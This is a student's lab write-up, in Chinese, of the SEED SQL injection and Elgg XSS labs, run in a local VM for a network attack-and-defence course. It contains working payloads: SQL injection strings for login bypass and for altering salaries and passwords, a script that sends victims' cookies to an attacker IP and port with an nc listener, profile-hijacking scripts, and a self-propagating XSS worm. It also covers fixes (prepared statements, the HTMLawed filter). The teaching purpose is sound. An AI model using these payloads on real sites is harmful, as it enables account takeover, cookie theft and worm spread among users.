20212931 2021-2022-2 《网络攻防实践》第十次实践报告
一、实践内容
(一)基础知识
1.Web应用程序体系结构及其安全威胁
- Web应用体系结构
- 定义:Web应用程序是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,也造就了B/S计算结构,提升了部署和应用的便捷性。web应用体系结构如下图所示,浏览器主要完成数据显示与展示渲染,服务器主要完成业务计算处理,浏览器与服务器之间的通信通过因特网或内联网上HTTP/HTTPS应用层协议的请求与应答进行通信。
- 浏览器:使用HTTP/HTTPS协议、HTML语言与Web服务器进行交互,获取信息。
- Web服务器:不仅仅是一个HTTP守护程序,还有对各种Web动态编程语言的支持。
- 数据库:Web应用存储数据的地方。
- Web应用程序:负责服务器端的业务逻辑处理,最为常见的三层体系结构:
- 表示层:接受Web客户端的输入并显示结果。
- 业务逻辑层:从表示层接受输入并完成某些工作,需要数据层的协作,再将结果送回表示层。
- 数据层:以数据库或本地文件的形式,提供非易失的信息存储。
- 传输协议HTTP/HTTPS:浏览器与Web站点之间的通信传输协议使用HTTP/HTTPS协议,HTTP协议默认使用TCP 80端口,该协议采用统一资源标识符URI对各种资源进行统一定义,采用请求/相应模式。SSL/TLS隧道技术,来实现加密传输的HTTPS协议。
- Web应用安全威胁
- 针对浏览器和终端用户的Web浏览安全威胁:网页木马、网站钓鱼等。
- 针对传输层的网络协议安全威胁:针对HTTP明文传输协议的敏感信息监听、拒绝服务攻击等。
- 系统层安全威胁:Web站点的宿主操作系统。
- Web服务器软件安全威胁:Web服务器软件也存在着漏洞与弱点。
- Web数据安全威胁:Web站点中在Web应用程序后台存储的关键数据内容。
2.SQL注入攻击
- 代码注入攻击定义:代码注入利用Web应用程序的输入验证不完善漏洞,使得Web应用程序执行由攻击者所注入的恶意指令和代码。包括恶意读取、修改与操纵数据库的SQL注入攻击;在Web服务器端安装、执行Webshaell等恶意脚本的PHP注入或ASP注入攻击;在Web服务器端恶意执行操作系统命令的shell注入攻击还有其他攻击等。
- SQL注入攻击原理:利用Web应用程序的数据层存在的输入验证不完善性安全漏洞实施的代码注入攻击技术。由于用户输入没有被正确地过滤以消除SQL语言中的转义字符,或没有进行严格的类型判断,使得用户可以输入并执行一些非预期的SQL指令代码。
- SQL注入攻击步骤
- 发现SQL注入点:存在http://SITE/xxx.asp?some_rec=yyy的动态网页时,当some_rec字段为整形参数,通过不同的三种字符串可判断该动态页面是否存在SQL注入点。同理也可以对字符型做,下面展示整型情况。
yyy修改为yyy' 造成SQL出错,动态页面返回错误提示信息。
yyy修改为yyy and 1=1 不对查询条件造成任何影响,返回正常页面。
yyy修改为yyy and 1=2 查询不到任何信息。- 判断后台数据库类型
利用数据库服务器的系统变量。
利用数据库服务器的系统表进行判断。- 利用SQL注入进行后台口令拆解
猜解后台口令表表名。
猜解字段名。
猜解字段值: 二分法逼近。
口令可能为MD5散列后的密文。- 上传ASP后门,得到默认账户权限:在破解得到Web应用管理员用户名和口令后,通过找出后台管理界面登录,攻击者就可以通过后台管理界面通常所提供的的下载上传文件等功能上传ASP后门,对Web站点进行远程控制。
- 本地特权提升
- 利用数据库扩展存储过程执行shell命令:通过SQL注入点执行相应的扩展存储过程。
- SQL注入攻击工具:这是比较新的工具10个SQL注入工具。
- 自动化SQL注入漏洞发现
Wposion:能够在动态Web文档中找出SQL注入漏洞的工具。
mieliekoek.pl:以网站镜像工具生成的输出为输入,找出含有表单页面。- 自动化SQL注入测试
SPIKE Proxy工具:允许使用者对待注入字符串进行定制。
SPI Toolkit工具包中的“SQL Injector”工具。 - SQL注入攻击防范措施
- 使用类型安全(type-safe)的参数编码机制。
- 凡是来自外部的用户输入,必须进行完备检查。
- 将动态SQL语句替换为存储过程、预编译SQL或ADO命令对象。
- 加强SQL数据库服务器的配置与连接。
3.XSS跨站脚本攻击
- 定义:XSS跨站脚本攻击的最终目标不是提供服务的Web应用程序而是使用Web应用程序的用户。XSS的漏洞存在于Web应用程序中,使得攻击者可以在Web页面中插入恶意代码(HTML或JavaScript)用户在浏览网页时,浏览器会解析这些插入的代码,造成获取用户敏感信息、客户端渗透攻击等后果。
- XSS攻击技术原理:Web应用程序对用户输入内容的安全验证与过滤不够完善,用户提交的内容可以包括HTML、JAVAScript及其他脚本代码。例如在name变量填写为alert(/xss/),这段客户端代码将会被包含在留言浏览页面中,其他用户访问时将会执行代码。
- 类型持久性XSS漏洞、非持久性XSS
- XSS攻击防范措施
- 服务器端防范措施:“限制、拒绝、净化”
输入验证: 对用户提交数据进行尽可能严格的验证与过滤。
输出净化: HTMLEncode()方法。
消除危险的输入点。- 客户端防范措施
提高浏览器访问非受信网站时的安全等级。
关闭Cookie功能,或设置Cookie只读。
建立安全意识和浏览习惯。
(二)实践内容
1.SEED SQL注入攻击与防御实验
- 借助已经创建了的Web应用程序(其托管在www.SEEDLabSQLInjection.com)。完成:
- 熟悉SQL语句
- 对SELECT语句的SQL注入攻击
- 对UPDATE语句的SQL注入攻击
- SQL对抗
2.SEED XSS跨站脚本攻击实验(Elgg)
- 在预先构建的Ubuntu VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 发布恶意消息,显示警报窗口。
- 弹窗显示cookie信息。
- 窃取受害者的cookies。
- 成为受害者的朋友。
- 修改受害者的信息。
- 编写XSS蠕虫。
- 对抗XSS攻击。
二、实践过程
实践一:SEED SQL注入攻击与防御实验
- 熟悉SQL语句
- 首先确定Apache服务是否正常启动,sudo service apache2 start命令开启apache服务,sudo service apache2 status命令查看运行状态
- 登录指令:mysql -u root -p,密码seedubuntu,其中-u指定用户名,-p指定密码
- 使用库命令:use Users;查看数据库下的表命令:show tables;
- 打印所有信息命令:select * from credential;
- 对SELECT语句的SQL注入攻击
- 打开网页http://www.seedlabsqlinjection.com/index.html,输入错误用户名,查看错误页面的URL
- 由此我们可以去查询在/var/www/SQLInjection路径下,其中有一个主页unsafe_home.php,读代码发现,存在sql注入攻击漏洞:
- 根据代码可知,登录时,会区分管理员账户和普通用户账户,并且发现登录时的查询语句为
SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email, nickname, Password FROM credential WHERE name= '$input_name' and Password='$hashed_pwd';
- 管理员的账户名是admin,使用字符串admin '#进行登录,便可通过#注释后面的语句使其无法执行。换句话说,只进行了用户名的校验。
- 利用命令行完成管理员的登录,注意对几个特殊符号进行转义十六进制即可,使用指令
curl 'www.seedlabsqlinjection.com/unsafe_home.php?username=admin%27%20%23'
- 对UPDATE语句的SQL注入攻击
- 首先要确定UPDATE语句的位置
- 阅读文件代码后,发现其也是没有保护的,这样就可以构造类似于上文的语句进行攻击
- 使用alice '#登录,点击edit profile修改信息,在NickName那里输入语句
', salary='999666' where EID='10000';#
- 修改其他人类似修改Alice:在Alice下,输入
', salary='0.1' where name='Boby';#
(这数据还是个整形保存)
- 修改其他用户的密码,因为密码在数据库中是以sha1的形式存储的,首先需要获取一个指定密码的sha1值。
- 使用指令echo -n 'dees'|sha1sum输出密码dees的sha1值
- 继续在edit profile那里修改用户名,填上以下指令进行sha1值的修改
', Password='(sha1值)' where Name='Boby';#
- 攻击成功
- 修复漏洞
- SQL注入漏洞的本质原因是由于执行语句和数据放在一起导致的,使用预处理语句机制可以很好的防止这一攻击出现。
- 原代码主要含义是进行了数据库的查询,然后转为了json格式,这里的SELECT语句代码和数据放在一起,所以容易遭受攻击。
- 使用预处理代码,然后进行参数的绑定,绑定了用户名和hash之后的密码。又进行了结果的绑定,这个时候参数值就可以包含转义字符和定界符了。
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$sql->bind_param("???", $input_uname, $hashed_pwd);
$sql->execute();
$sql->bind_result($id, $name, $eid, $salary, $birth, $ssn, $phoneNumber, $address, $email, $nickname, $pwd);
$sql->fetch();
$sql->close();
-
- 如下所示
- UPDATE语句代码对输入的参数进行了绑定:
if($input_pwd!=''){
// In case password field is not empty.
$hashed_pwd = sha1($input_pwd);
//Update the password stored in the session.
$_SESSION['pwd']=$hashed_pwd;
$sql = $conn->prepare("UPDATE credential SET nickname= ?,email= ?,address= ?,Password= ?,PhoneNumber= ? where ID=$id;");
$sql->bind_param("xxxxx",$input_nickname,$input_email,$input_address,$hashed_pwd,$input_phonenumber);
$sql->execute();
$sql->close();
}else{
// if passowrd field is empty.
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");
$sql->bind_param("xxxx",$input_nickname,$input_email,$input_address,$input_phonenumber);
$sql->execute();
$sql->close();
}
实践二:SEED XSS跨站脚本攻击实验(Elgg)
- 实验环境
- Web应用程序网站http://www.xsslabelgg.com,以及相关的文件夹/var/www/XSS/Elgg/,网站只可在虚拟机内部访问使用,可以查看hosts文件。Alice的账户为alice密码aliceseed,Boby账户boby密码seedboby,Admin账户名admin密码seedelgg。
- 发布恶意消息,显示警报窗口
- 利用alice的账户登录,编辑个人主页Edit profile,在 Brief description中输入:
<script>alert('XSS');</script>
代码并保存。
- 此时,任何访问Alice主页的用户,包括自己,都会看到弹窗。
- 利用alice的账户登录,编辑个人主页Edit profile,在 Brief description中输入:
- 弹窗显示cookie信息
- 类似于报警窗口,代码为:
<script> alert(document.cookie);</script>
- 类似于报警窗口,代码为:
- 窃取受害者的cookies
- 使用恶意的JavaScript插入一个标签,其src属性设置为攻击者的机器来实现。当JavaScript插入img标签时,浏览器尝试从src字段中的URL加载图片,这导致HTTP GET请求发送到攻击者的机器。下面使用JavaScript将cookies发送到攻击者机器的5555端口,若攻击者的TCP server侦听同一个端口,服务器则可打印出任何收到的内容。
- 使用命令
<script>document.write('<img src=http://ip+端口?c='+escape(document.cookie) + ' >');</script>
- 使用nc进行监听指定端口,使用指令nc -l 端口号 -v,-l指定端口,-v显示详细信息。
- 成为受害者的朋友
- 首先需要通过HTTP Header Live查看加朋友操作的数据发生什么交互。请求方式为POST,请求的地址是http://www.xsslabelgg.com/action/friends/add。请求地址的第一个参数是friend=,请求地址的第二个参数是&__elgg_ts=,请求地址的第三个参数是&__elgg_token=也就是说我们要指明添加的好友,添加的时间并进行添加者的身份验证。这是Elgg本身自带的一套严格的表单验证方法,通过才可以进行加朋友。
- 构造下面的程序,其中的sendurl中包含了加朋友所需要的参数,代码获取了elgg_ts和elgg_token,然后构造一个URL访问,44为alice号。然后把这段程序放在alice的About me中(这里注意要是edit HTML模式)。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44"+ts+token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
-
- 然后可以发现,alice自身和boby访问时都完成了添加好友。
- 修改受害者的信息
- 首先仍然利用HTTP Header Live看看修改资料时发送的http请求的具体格式。
- 下面就可以构造语句,放在about me中,实现攻击。
- 代码主体在于构造content,其中的几个字段都是profile中的内容,同时需要指定sendurl。程序中有一个判断语句,就是用户的guid和samyGuid的判断,这个samyGuid在这里就是alice的guid,避免了之前的无差别攻击。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>hello my friends~.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
- 编写XSS蠕虫
- 蠕虫攻击代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>hello my firends~ "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
-
- 代码使用DOM API的方法,文档对象模型,将Web页面和脚本或程序语言连接起来。使用DOM来查看和使用HTML代码,innerHTML方法是开始和结束标签之间的HTML。
- 当有其他用户访问时,就可以被传染,HTTP也能捕获到其操作数据流。
- 对抗XSS攻击
- Elgg本身已经提供对抗XSS攻击的插件,我们利用管理员账户进行登录,找到Account->administration->plugins,并且找到插件HTMLawed ,这个插件的主要作用是对用户的输入输出进行校验并且去除特定标签。
- 查看Alice的profile,这个时候XSS攻击已经没有效果了,Alice中的代码被当作about me显示出来了,也不会被执行。
三、学习中遇到的问题及解决
- 对预处理SQL语句不熟悉以及对网页上HTTP的操作及javascript程序有点难度
- 解决方法:参照过往博客,搞懂代码原理再使用。
四、学习感悟
- 本次实践动手操作了SQL注入和XSS攻击,基本了解了这两种攻击的原理,操作步骤,可能造成的危害以及一般防范方式,对这种常见和比较普及的攻击方式有了预警意识和初步认识,更重要的是增强了自己对知识盲区搜索和学习的能力。